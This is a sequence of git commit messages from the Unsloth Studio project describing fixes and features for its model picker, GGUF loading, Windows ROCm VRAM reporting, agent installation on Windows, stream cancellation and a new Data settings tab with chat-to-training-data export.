previous lease alongside the token, and clear the expiry wherever the
token is cleared on a non-GGUF transition, so the two never diverge.
* Clear the native file lease on compare-pane loads
* Studio: add regression tests for the model-picker per-model-config
Guard the specific regressions that reverted the predecessor change:
- backend pytest (studio/backend/tests/test_model_picker_regression.py):
infra-model hiding, HF token via header with query fallback, and the
chat-template byte caps.
- source contracts (tests/studio/test_model_picker_contracts.py): the token
stays out of the URL, the context ceiling is floored, the native lease is
cleared on compare-load and restored on rollback, the default caches key on
the inventory version, and the hidden needles stay present.
- Playwright E2E (tests/studio/playwright_model_config.py) wired into
studio-ui-smoke.yml on port 18898: Context Length persists across a reload,
Reset clears the stored override, and infra models are absent from the picker.
- optional GPU-gated inference smoke (tests/studio/test_gpu_inference_smoke.py)
that auto-skips on GPU-less CI and stays short on a GPU.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: model pinning, row menus, hub inference settings, and inventory filters
Pinning
- Add a pinned models store (localStorage) with repo and per-quant pins
- Pinned section in the model selector's On Device list and the hub inventory,
with newest pins first so Pin to top lands on top
- Deleting a repo drops its pins
Row menus
- Replace loose row icons with a shared 3-dots menu (pin, reveal in file
manager, copy identifier, copy path, delete) on picker rows, hub quant rows,
the hub run bar, and on-device inventory rows
- Menus only render for models actually on disk; platform-aware reveal labels
- Backend: cached-model-path and reveal-cached-model endpoints resolving
managed HF-cache repos only
Hub inference settings
- Gear in the GGUF run bar opens an Inference settings dialog reusing the chat
page's controls: model config (context length, KV cache, speculative
decoding, chat template), system prompt, reasoning, sampling, tools and
retrieval
Inventory
- Model-type filter (text, vision, embedding, STT, TTS, diffusion) beside the
sort pill, both with a sort icon, capped widths and truncation so the
On device heading never wraps
- Unsloth-owned repos without an upstream provider logo fall back to the
Unsloth mascot avatar
- Discover / On Device tabs widened; hub search bar narrowed to match
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: revert the Unsloth mascot avatar fallback
Unsloth-owned repos without an upstream provider match go back to the
colored-initial tile, and unslothai is no longer a relabeled owner.
* Studio: run-bar options on single models, and aligned type/capability filters
- Give single-model (non-GGUF) run bars the same 3-dots options menu and
settings gear as GGUF, at repo level
- Drop Pin to top from the run-bar menus; pinning stays in the On Device list
- Add an Image to text (diffusion) capability with detection, and surface it
in both the hub Discover capability filter and the On Device type filter
- Align the On Device type filter with the Discover capability options and
share the same detection so both dropdowns match
* Studio: apply hub inference config on reload, eject action, and run-bar polish
- Fix inference settings not applying: the hub dialog now writes the config to
the runtime before reload, matching the chat page (selectModel reads runtime
state, not the selection)
- Order the settings gear before the 3-dots menu in the run bars
- Replace the loaded-model run-bar action (New Chat) with Eject, wired through
the inspector to the hub's ejectModel
- Truncate the results heading so a long search query clips instead of
overlapping the header pills in split view
- Use a plain magnifying-glass icon for the no-results empty state
* Studio: fix GPU settings loss, load guards, pins, filters, and cached paths
Reloading a model from the chat sidebar or the hub gear dialog rebuilt the
per-model config without the GPU memory fields, so manual GPU layers, MoE
placement, and the GPU pick were reset on every reload and could be saved
over a remembered config. The active config now comes from a shared
useActiveModelConfig hook that carries the GPU fields for GGUF models, and
the sidebar remount signature tracks them through a shared gpuFieldsSignature
helper.
The in-flight load guard lived in a ref inside each useChatModelRuntime
instance, so the chat page, hub page, and gear dialog could not see each
other's loads. A load started from the gear dialog left the hub page free to
eject the model mid-reload or start a second concurrent load. The runtime
store now records the loading pick, selectModel checks it across instances,
and ejectModel refuses with a toast while any load is in flight.
The cached-model-path endpoint matched GGUF files by basename and excluded
only mmproj, so Copy path and Reveal could return an MTP drafter for a quant
and returned 404 for directory layouts like BF16/model-00001.gguf. Variant
files are now resolved from snapshot-relative paths with the same drafter,
mmproj, and big-endian exclusions as the load path, shared through a new
_main_variant_gguf_label helper.
Hub and picker fixes:
- rename the diffusion capability label from "Image to text" to
"Image generation", since it detects image generators
- validate pinned quants through the cached variant listing, keep the last
verified set while revalidating, and drop deleted quants immediately
- pass a measured scroll margin to the on-device virtual list so rows past
the overscan stay visible below the pinned block
- keep the delete menu for stopped partial safetensors downloads
- give the inventory type filter a reset in Clear filters, a truthful empty
state with a Show all types action, and hide it on the datasets view
- order picker pinned rows by pin recency, include pinned matches in the
empty-state check, and sync pins across browser tabs
- count only the visible rows in the On device list header
Tests: contract checks for each fix in test_model_picker_contracts.py and a
backend test for the variant label selection.
* Studio: reveal cached models in Windows Explorer under WSL
The reveal endpoint only branched on macOS, Windows, and generic Linux.
Under WSL the Linux branch spawned xdg-open, which is missing on a stock
distro without a Linux desktop, so the request failed with a 500 and the
UI showed a failed to open file manager error.
WSL is now detected with the existing helper and the path is converted
with wslpath before opening explorer.exe, selecting the file the same
way native Windows does. Directories open directly. When interop is
unavailable the old xdg-open fallback still runs. The macOS, native
Windows, and native Linux branches are unchanged, and the Tauri app is
covered since its hub reveal calls this same local endpoint.
Tests: platform guards for the WSL reveal, the interop fallback, and
the unchanged native Linux behavior in tests/studio/test_reveal_file_manager.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Adjust model picker row spacing and cogwheel hover consistency
* Studio: exact hidden model ids and newest revision cached paths
A custom RAG embedder repo was published to the frontend as a basename
substring needle, so a generic name like org/model could hide unrelated
models in the pickers. The hidden-models endpoint now sends full repo ids
that are matched exactly.
Copy path and Reveal picked a GGUF variant from an arbitrary cache
revision when the same file existed in more than one. The newest revision
now wins, matching the whole repo lookup.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix model picker GPU config, metadata, and cache selection
Load each compare model with its saved GPU memory mode, GPU layers, CPU MoE layers, and selected GPU IDs. Reconcile saved GPU IDs with the current hardware. Include the active native GGUF path token in metadata checks. Search all Hugging Face cache roots when resolving cached models and select the largest visible cache entry. Remove obsolete barrel exports and the staging-only GPU memory helper.
* Studio: hide hub inference settings gear for now
The cogwheel in the hub download cards is out of scope for this PR. The
dialog component stays in place and a TODO marks where the button
returns in a future PR.
* Refresh hidden model matchers
* Fix GGUF detection, compare context pin, and picker delete staleness
Treat any pick with a GGUF variant as GGUF in selectModel so the first
load after downloading an uncached quant validates and sizes with the
right GPU settings instead of unloading the current model on a wrong
preflight. Variant picks now also set isGguf on their selection meta.
Stop compare panes from inheriting the active model's context pin when
their own saved config says Auto. Null context in a remembered config
now means no pin, matching how the pane settings are shown.
Route picker deletes through the hub inventory client, which
invalidates the HF cache scan and the variants cache. The legacy
delete route left the scan cache warm, so deleted models reappeared
in the picker until the TTL expired. Removed the now unused legacy
delete client and updated the contract test to match.
* Studio: fix stale GGUF load-marker ordering test
The load-in-flight marker still precedes the hub-download guard and the
unload, but the llama_extra_args inheritance that used to sit between the
marker and the guard now runs ahead of the GGUF branch, so it is no
longer a landmark inside the sliced source. Drop it from the ordering
assertion and keep the marker -> guard -> unload invariant.
* Studio: fix per-model config edge cases in compare loads and saved defaults
- chat-settings-sheet: gate the MTP fallback note and context/VRAM warning on
the broader isGguf (variant, loaded gguf context, or .gguf suffix) instead of
isLoadedGguf, so direct-file and custom-folder GGUF loads still surface
those diagnostics.
- shared-composer: a compare pane's context now comes from its own config only
(a saved pin, else null for Auto/native). It no longer inherits the active
model's shared snapshot, which resolveFitMaxSeqLength treated as an explicit
pin and could load a pane at another model's context (VRAM/OOM), matching the
single-model load path.
- model-config-page: when an auto-fit GGUF is saved with fixed GPU layers
(Manual) and Remember, pin the displayed fitted context so a later fresh load
keeps the placement instead of sending native/0 and recreating the OOM.
- per-model-config: treat Auto GPU memory mode and Auto/default speculative type
as follow-global defaults; do not persist them as per-model overrides so later
global preference changes keep applying.
* Studio: gate vision capability on GGUF projectors and bound remote template downloads
- cache_inventory: only mark a cached repo vision-capable when it holds an actual
GGUF mmproj projector, not any file whose name merely contains "mmproj" (e.g.
mmproj_config.json), matching the runtime's GGUF-only projector detection.
- picker/service: pre-check the remote file size before downloading an uncached
repo's chat template / tokenizer config, so a maliciously large sidecar is
skipped instead of fetched and retained in full, mirroring the size gate the
local-file path already applies.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: add source-contract guards for the per-model-config edge-case fixes
Guard the four per-model-config fixes against silent regression in CI:
- local GGUF diagnostics gate on the broad isGguf, not the variant-only isLoadedGguf
- fixed-layer GGUF saves pin the displayed context
- Auto GPU mode and Auto/default speculative are not persisted as per-model overrides
- a compare pane's context comes from its own config, not the active model's snapshot
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: clear manual GPU knobs on Default and resolve local embedders before repo-id
- model-config-page: switching GPU Memory back to Default now clears the Manual-only
knobs (gpuLayers/nCpuMoe/selectedGpuIds); otherwise a remembered config kept stale
pins that a later load re-applied when the global GPU preference was Manual, despite
the page showing Default.
- routes/models hidden_model_matchers: resolve an existing local path before the repo-id
regex, mirroring is_hidden_model, so a local embedder shaped like "models/embedder" is
hidden by exact path instead of leaking as a chat model.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: add _is_mtp_drafter to the model_config stub in the export-paths test
routes/models.py imports _is_mtp_drafter from utils.models.model_config at module
load, but the lightweight stub in test_export_absolute_paths.py did not provide it,
so loading the module under the stub raised ImportError on Backend CI. Add the stub.
* Studio: read a picked GGUF's chat template through the native path lease
The picker chat-template GET has no native-path-lease plumbing, so a
desktop-picked (drag-drop) GGUF could not show its default chat template
in Run Settings until the model was loaded: the endpoint only receives
the display label, not the leased file path.
Read the embedded template through the existing lease-aware
/api/inference/validate probe instead. A new include_chat_template flag
resolves the granted canonical path and returns the GGUF's own embedded
template, never a sibling sidecar (the grant authorizes just that one
file); it skips the training guard like include_context_length and is
bounded by MAX_CHAT_TEMPLATE_BYTES. The frontend fetch mints a one-shot
validate-model lease when a native token is present and keeps the plain
GET path for HF and allowlisted local models.
Adds backend and source-contract regression tests.
* Studio: call worker.direct_wheel_url in the ROCm wheel-url test
The ROCm Mamba/SSM test referenced worker.py's private _direct_wheel_url,
but the worker imports the wheel helper under its public name
direct_wheel_url (utils.wheel_utils). When the worker module loads (its
imports resolve in CI), worker_mod._direct_wheel_url raised AttributeError;
the test only masked it by skipping when the worker could not be imported.
Call the name that actually exists so the assertion runs; it still returns
None for an empty cuda_major (ROCm).
* Studio: reset max sequence length to the app default, not the loaded value
For a non-GGUF active model, the per-model config seeds maxSeqLength from
the loaded runtime value so the panel opens showing the running context.
Reset set config.maxSeqLength to null, but the null fallback resolved back
to that captured runtime value, so the field kept showing the old custom
length and the config saved/reloaded it again. A remembered or active
max-length override therefore could not be cleared from Run settings.
Fall the null/default case back to the app default (clamped to the model's
native ceiling) instead of the active runtime snapshot, so Reset actually
clears the override. The initial view is unaffected: an active model's
config.maxSeqLength is already non-null, so it still shows the loaded value.
Adds a source-contract regression guard.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: persist default max length, refresh deleted quants, hide non-chat locals
Three follow-up fixes from review of the per-model-config picker:
- Max sequence length: the persisted per-model record now keeps config's
maxSeqLength (null after Reset) so isDefaultConfig can clear a remembered
override; the resolved app-default is substituted only into the load
request, never the saved record. Previously Reset saved the concrete
default and left the model pinned/remembered.
- GGUF variant expander: deleting a downloaded quant from a repo that still
has other cached quants now bumps the expander refresh key, so the removed
quant stops showing as downloaded and clickable (which would try to reload
the deleted file) until the repo is collapsed and reopened.
- Local picker rows: require capabilities.canChat before listing a local
models-folder / LM Studio row. A weightless folder (only config.json) is
classified non-chat, and toLocalModelInfo drops capabilities, so selecting
such a row would try to load a path the inventory already marked non-chat.
Adds source-contract regression guards for all three.
* Fix compare-pane and Reset context defaults in model picker
Two related per-model-config default regressions:
- A non-GGUF compare pane with no saved maxSeqLength fell back to the
active model's shared runtime snapshot, so comparing a saved 128K model
against an unconfigured pane loaded the latter at 128K and could OOM. It
now falls back to the shared app default (DEFAULT_MAX_SEQ_LENGTH), the
same fallback the single-model config path uses.
- contextAtDefault treated an explicit customContextLength equal to the
native ceiling as a default, which wedged the Reset button disabled for
a deliberate pin-to-native. It now counts as default only when there is
no override at all.
DEFAULT_MAX_SEQ_LENGTH becomes a single exported constant in
per-model-config.ts so the single-model config and the compare path share
one source of truth. Adds source-contract guards for both fixes.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Skip over-cap remote Jinja templates so the tokenizer template wins
The remote chat-template resolver bounded raw chat_template.jinja downloads
only by MAX_TEMPLATE_METADATA_BYTES (4 MiB), then returned the first
non-empty Jinja unconditionally. The picker route drops any template larger
than MAX_CHAT_TEMPLATE_BYTES (64 KiB), so an uncached repo whose
chat_template.jinja sits between 64 KiB and 4 MiB returned no template at
all, even when a valid smaller tokenizer_config.json template existed. The
local path already skips oversized .jinja files and falls through.
Gate the extracted Jinja on MAX_CHAT_TEMPLATE_BYTES and continue searching
when it exceeds the cap, matching _chat_template_from_jinja_file. The 4 MiB
download bound stays for JSON files that merely embed a small template. Adds
a regression test that a big Jinja plus a valid tokenizer config resolves to
the tokenizer template.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard legacy per-model-config migration idempotency
The v1->v2 localStorage migration (unsloth_load_settings ->
unsloth_model_configs) runs on every store read, so it must migrate exactly
once and never re-run, duplicate, or clobber a newer per-model config on a
reload or restart. That was covered only by a manual proof, so add durable
guards:
- Source-contract test pinning the three idempotency layers (the in-memory
legacyMigrationChecked guard, the persistent unsloth_model_configs_migrated
flag set in every terminal branch, and the non-overwriting Object.hasOwn
merge-skip) plus the readMap invocation. Reddens if any layer is dropped.
- Playwright model-config E2E: promote the legacy-migration step to a gating
check (soft_fail, which gates under the CI STUDIO_UI_STRICT=1) that the
migrated value is preserved and the flag is set, then reload again with a
fresh legacy seed present and assert the stored key set is unchanged, so a
second reload cannot re-migrate, duplicate, or clobber.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Note the migration E2E now gates idempotency under STUDIO_UI_STRICT
* Tighten model-picker per-model-config code comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: shimmyshimmer <shimmyshimmer@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
* Studio: make repeated tab switches feel immediate
* Keep cached Studio navigation data fresh
* Make first Studio tab visits responsive
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Serve range requests uncompressed for immutable assets (PR #7271)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: test <test@test.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio (Windows): keep prompt caching on full GPU offload (#5692 follow-up)
The #5692 full-offload tuning also added --no-cache-prompt, which disables
in-VRAM prompt-prefix reuse. That is unrelated to the host-RAM KV checkpoints
#5692 fixed (--cache-ram 0 / --ctx-checkpoints 0): a fully offloaded model keeps
its KV cache in VRAM, so reusing a common prefix does not copy to system RAM and
does not cause the PCI-E overhead. --no-cache-prompt only forces every request to
re-prefill the whole prompt, which is small for short chats but severe for large
stable system prompts reused across calls (coding agents, long multi-turn chats).
Remove --no-cache-prompt; keep the checkpoint disables and the thread/OMP tuning.
_prompt_cache_disabled stays False (its default), so slot save/restore is intact.
Verified on a fully offloaded gemma GGUF: an identical repeated prompt reprefills
1 token instead of 2220.
* Guard against re-adding --no-cache-prompt to any llama-server command
Add a backend-wide test that AST-scans studio/backend and fails if
--no-cache-prompt is appended/extended/+= into a command. This locks in
the #7260 fix across every code path, not just load_model. Detecting the
flag or honouring a user-supplied one stays allowed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: validate Hugging Face tokens before use
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep token validation failures non-blocking
* Studio: harden Hugging Face token preflight
* Studio: make token validation effect lint-safe
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* unsloth start: fix Windows agent install/launch and local model selection
- claude: pin availableModels to the served model in the session --settings
overlay so a user's ~/.claude/settings.json allowlist no longer substitutes
the org default for the local Unsloth model. The allowlist covers --model,
ANTHROPIC_MODEL and the model setting, and an empty [] is ignored, so the pin
lists the model explicitly.
- installs: run the Windows installer under -ExecutionPolicy Bypass
(process-scoped, nothing persistent) so npm's npm.ps1 and irm|iex scripts run
under the default Restricted policy; on failure, hint at Set-ExecutionPolicy
-Scope CurrentUser -ExecutionPolicy RemoteSigned for a hand-run retry.
- PATH: resolve agents installed to ~/.local/bin (claude) and %APPDATA%\npm (npm
agents) in-process, so a fresh install launches without opening a new shell and
an already-installed agent is not re-prompted for install.
- load message: "Loading <model> - please wait" while a model loads.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* unsloth start: resolve agent version against the launch PATH
The claude/codex/opencode version probes ran shutil.which while building the
command, before _launch augments PATH with the known install dirs. An agent
present only in ~/.local/bin or %APPDATA%\npm was therefore missed, assumed to
be a current build, and launched with flags an older build rejects (claude
aborts on the unknown flags). Route the three probes through a new
_which_with_install_dirs() so each resolves the same binary _launch will,
restoring PATH afterward so only _launch persists the augmentation.
Add regression tests for the three probes (POSIX and the Windows npm dir) and
make the Windows-branch tests run on POSIX hosts (pinning Path to the native
flavour so a simulated os.name does not make pathlib build WindowsPath).
* unsloth start: keep os.defpath when augmenting an unset PATH
_augment_path_with_install_dirs collapsed an unset PATH to just the install
dirs, dropping the os.defpath fallback (/bin:/usr/bin) that shutil.which and
exec*p* use when PATH is absent. A system-installed agent then looked missing
and the launched child lost its normal PATH. Seed os.defpath when PATH is
unset; an explicitly empty PATH is left as-is (search nothing), matching
shutil.which. Add regression tests for the augment helper and the version-probe
wrapper.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: make Stop and stall deadlines interrupt a wedged stream portably
The cancel watcher unblocks a stalled read by shutting the socket down from
another thread, which works on POSIX but not reliably on native Windows, where
Winsock does not dependably wake a recv() already in progress on another thread.
Wrap the httpcore network stream so the reader loops each read in short slices
and polls the cancel event itself. Stop and the stall deadlines now interrupt a
wedged mid-stream read without any cross-thread socket teardown, and a slow but
still-alive stream is never torn down. The POSIX shutdown path is preserved.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor the post-first-token stall timeout in the cancel-aware read
httpcore snapshots request.extensions timeout read once when the body
starts, so lowering it to the stall timeout after the first token never
reached the socket read and a one-token-then-silent server hung for the
full prefill window. Re-read the live extensions timeout per call and
bound each read by it, falling back to the httpcore-passed timeout when
absent so prefill and normal completion are unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tighten comments in the llama.cpp stall timeout path
* Tighten comments in the stream stall cancel path
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Studio: do not show Run for embedding-only non-GGUF models in the Model Hub
A downloaded embedding-only repo (sentence-transformers, feature-extraction)
reports canChat by safetensors format and classifies as supported, so the Model
Hub showed a Run button that dead-ends at load. Keep embedding-only non-GGUF
models out of the Run gate. GGUF is unaffected (llama.cpp resolves embed vs
generate at load time), and these models stay trainable.
* Gate embedding-only models on the pipeline tag, not just capabilities
An embedding repo whose name or tags also imply code, vision, audio or
reasoning (e.g. jina-embeddings-v2-base-code picks up code from its
-code suffix) slipped the embedding-only Run gate and dead-ended on a
chat load. Treat a feature-extraction or sentence-similarity pipeline
tag as authoritative for the gate; the change only ever widens it.
* studio: tighten comments in the hub embedding run guard
* Tighten comments in the hub embedding run guard
---------
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Studio: fix per-GPU VRAM reporting on Windows ROCm
On Windows ROCm without a HIP SDK, amd-smi is disabled and the System tab fell
back to torch mem_get_info, which reports free==total there (ROCm/ROCm#1909), so
used VRAM showed as 0. The perf-counter fallback also summed every adapter into a
single device with only GPU 0's total, hiding the second GPU.
Read per-adapter Dedicated Usage (LUID-instanced) for used and take each GPU's
total from torch properties, and treat the free==total case as unknown rather
than 0, so every GPU shows real usage. NVIDIA, Linux ROCm, Apple and CPU paths
are unchanged. Final validation needs a real Windows AMD box.
Fixes#7072
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: report unknown VRAM instead of fabricating or zeroing it
Two gaps in the Windows ROCm VRAM path. When more adapters are actively using
VRAM than are visible to the process (a GPU outside the visibility mask), the
per-adapter attribution paired usage by size and fabricated a per-GPU value;
report unknown for every device in that case rather than mis-assign. And the
System API turned an unknown (None) used value into 0 with ``or 0``, then
reported the full card as free, re-hiding the exact case this change surfaces;
keep None so the UI shows unknown.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Render unknown VRAM as Unknown instead of zero in the System tab
The backend reports null usage when it is unknown (e.g. the Windows ROCm
perf counter is unavailable or localized), but the System tab coerced
null to 0 and derived free from it, fabricating a 0-used/full-free total.
Preserve null and render the translated Unknown for per-device used, free
and utilization, and mark the aggregate VRAM tile unknown when any device
is unknown.
* Render unknown VRAM as Unknown in the floating monitor and the util tile
The floating VRAM monitor and the aggregate utilization ring both still
coerced a null usage to 0, showing a fabricated 0.00 GiB / full free / 0%
on the same Windows ROCm no-counter case the resources tab already
handles. Guard both on whether every device reports a finite usage and
render Unknown (value and percent) instead of a concrete 0.
* Attribute per-adapter VRAM usage only when capacity forces the mapping
On Windows/ROCm there is no shared key between LUID performance-counter
instances and torch ordinals, so usage was paired to devices purely by capacity
ranking. That pairing is only trustworthy when capacity forces it (a usage
larger than every smaller device can sit on one card). When a smaller-capacity
device could equally hold a strictly larger usage (for example an 8 GiB card
near full beside a lightly used 48 GiB card), the two values are swappable
without violating any capacity, so the ranking is a guess with no key to break
the tie. A wrong guess both mislabels the System tab and feeds
routes/training_vram.py a wrong per-index free value, driving a wrong
keep-resident decision.
Report unknown for every device when the assignment is ambiguous, keeping the
attribution only for the capacity-forced case. Returning None is the
conservative direction: training_vram treats a missing index as zero free, so it
never keeps a chat model into an OOM. Add regression tests for the
not-capacity-ordered, same-capacity, single-fits-both, and capacity-forced
cases.
* Report unknown VRAM usage when a hidden adapter survives the noise filter
When HIP_VISIBLE_DEVICES exposes a subset of the physical adapters, the LUID
usage counters cover cards outside the visibility mask too. The sub-64 MiB noise
filter could drop a genuinely-idle visible card's real usage while keeping a
hidden larger card's high usage, which was then clamped onto the smaller visible
device and reported as fully used (for example a hidden 48 GiB card at 40 GiB
shown as a visible 8 GiB card fully used, with its true 10 MiB usage filtered
out). That fabricated reading also feeds routes/training_vram.py a wrong
per-index free value.
Flag extra adapters on the raw counter count (before the noise filter, since an
idle visible card can itself fall below the floor) and, when a kept usage exceeds
its ranked visible capacity, report unknown rather than clamp a hidden card's
usage onto a visible device. The genuinely-idle-noise and capacity-forced
single-model cases are unchanged. Add a regression test for the hidden
high-use-adapter case in both counter orders.
* Report unknown when only a placeholder adapter counter survives the noise filter
When more raw counters than visible devices are present but every counter sits
below the 64 MiB noise floor (an idle real GPU alongside a Windows Basic Render
Driver placeholder), the non_trivial-or-raw fallback resurrected the raw
magnitude-sorted counters and could attribute the placeholder to a real GPU while
dropping a real card's reading. With a single visible device the swap-ambiguity
check cannot catch it (it needs at least two ranks), so the fabricated value
reached the System tab and automatic GPU selection.
Return unknown for every device in that case instead of falling back to raw
counters. With the earlier guards this completes the invariant: a concrete
per-GPU usage is emitted only when the assignment is capacity-forced, and every
ambiguous, extra-adapter, placeholder-fallback, or count-mismatch path reports
unknown. Add a regression test for the placeholder fallback in both counter
orders and the two-idle-GPU case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: attribute Windows/ROCm VRAM only when capacity forces a clean bijection
With more raw adapter counters than visible devices, a survivor that merely
fits a visible card was pinned to it by magnitude ranking, fabricating a hidden
GPU's usage onto an idle visible card whose true reading was dropped by the
sub-threshold noise filter (two visible 48/8 GiB cards using 40 GiB / 10 MiB
beside a hidden 6 GiB adapter returned [40, 6]). Emit a concrete per-device
value only when the supra-threshold counters number exactly the visible devices
(every visible card has one real reading, the extras were sub-threshold
placeholders) AND the ranked usage strictly exceeds every smaller visible card's
capacity. When a visible card is idle (fewer supra-threshold counters than
devices) a survivor could be the hidden GPU's usage, so every device reports
unknown; more active counters than visible cards, the smallest card, and any
merely-fitting usage stay unknown too. The reporter's loaded-card display is
preserved (40 GiB / 0.5 GiB across 48/8 GiB -> [40, None]). Adds a regression
test for the reported case plus an exhaustive capacity-forced/bijection matrix.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: keep the unified-memory total when Windows-ROCm used is unknown
_apply_unified_memory_correction gated both the total and the used update on
torch_used_gb being known, so on a unified-memory APU (Strix Halo) where torch
reports used=None (the Windows-ROCm free==total sentinel) but an authoritative
full-GTT total, the device kept amd-smi's small dedicated carve-out and
underreported its capacity on the System tab. Adopt torch's larger total
independently of used; overwrite used only when torch's is known (otherwise keep
amd-smi's dedicated-usage figure) and recompute utilization against the
corrected total. Adds regression tests.
* Tighten comments in the ROCm/Windows VRAM reporting path
* Tighten comments further in the ROCm/Windows VRAM reporting path
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Studio: Data settings tab, uploaded files manager, quant pinning, image preview fix
Settings
- New Data tab in the settings sidebar, under Connections. Chat data
management (archived chats, confirm before deleting, exports, import,
clear all) moved there from the Chat tab.
- New Archive all chats action with confirmation. Archives every chat in
Recents and Projects; compare pairs count as one chat.
- New Uploaded files manager listing RAG documents (chats, projects,
knowledge bases) and chat message attachments with location, size and
date. Files can be opened in a new tab or deleted. Deleting a chat
attachment keeps the message text.
Backend
- GET /api/rag/documents lists all uploaded RAG documents with file size
plus KB and project names.
- GET /api/chat/attachments lists chat message attachments; per
attachment file and delete endpoints included.
Model selector
- Downloaded GGUF quants can be pinned from the quant row (next to the
settings and delete actions). Pinned quants show at the top of On
Device under a Pinned heading as model name plus a grey quant chip and
load directly with one click. Non GGUF cached repos pin as a whole.
- Toned down the green of the downloaded label.
Fix
- Clicking an image attachment in chat now opens the preview overlay.
The tooltip trigger wrapper called preventDefault before composed
handlers ran, which made Radix DialogTrigger skip opening.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: image previews and file type chips in uploaded files list
Image attachments now show a small thumbnail (lazy loaded from the
stored bytes, object URL revoked on unmount) and every row shows a grey
uppercase type chip derived from the extension or content type. Non
image rows keep a file icon. Name cell floors its width and clips
overflow so narrow dialogs stay aligned.
* Harden attachment serving, add tests, and polish pinned rows and previews
- Strict base64 decoding for attachment files: corrupt payloads now return
422 instead of silently serving empty or garbled bytes; whitespace,
missing padding, the URL-safe alphabet, and RFC 2397 percent-encoded
data URLs are all handled
- New backend test suite covering attachment listing, size accounting,
malformed rows, deletion semantics, and every file-serving edge case
- Pinned quant rows show a Loaded tag when that exact quant is active,
and reveal unpin, settings, and delete actions on hover
- Uploaded files dialog is wider and chat locations link straight to the
thread the attachment belongs to
- Chat image preview is now a chrome-free lightbox: dimmed backdrop,
rounded image, corner close button, click outside to dismiss
- File opens go through a synchronous window.open so Safari and Firefox
popup blockers do not eat them
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Uploaded files: click a file to jump to its chat, square thumbs, new Data icon
- Clicking a file row (thumbnail or name) now goes straight to the chat it
belongs to; files without a chat open directly as before
- File thumbnails pin a small 7px radius: the theme scales rounded-md up
to a near circle at this size
- Settings Data tab now uses the database-setting icon
* Uploaded files is now a Data tab subpage instead of a popup
- Manage swaps the tab body for an inline Uploaded files page with a back
header, matching the rest of settings navigation
- Size column header and values are left aligned like the other columns
- Column widths tightened so the table fits the settings panel
* Lightbox polish and Data tab row order
- Image preview close button is transparent until hovered
- Preview image no longer rounds its corners
- Import chats now sits below Clear all chats in the Data tab
* Data tab: export chats as fine-tuning data and open them in Recipes
- New Fine-tuning section in Settings > Data converts every chat into a
JSONL dataset in the OpenAI messages format, one conversation per line
with string-only system/user/assistant turns
- The Train tab detects this file as chatml natively: no column mapping
and no standardization pass, and it works with train on completions
since every assistant turn sits behind the chat template response marker
- Consecutive same-role turns merge, trailing turns without an assistant
reply drop, and reasoning, tool calls, and images are excluded so chat
templates format the data cleanly
- Open in Recipes stages the JSONL as a local seed upload, creates a new
Data Recipe with the seed block preconfigured, and jumps to the editor
* Data tab: load chats straight into the Train tab, row moved to the top
- New Load in Train tab button uploads the fine-tuning JSONL through the
training dataset endpoint, selects it in the training config store, and
opens the Train tab with the dataset loaded and format-checked
- Use chats as training data now sits at the very top of the Data tab
- The Chats subheading is gone; chat rows flow directly under it
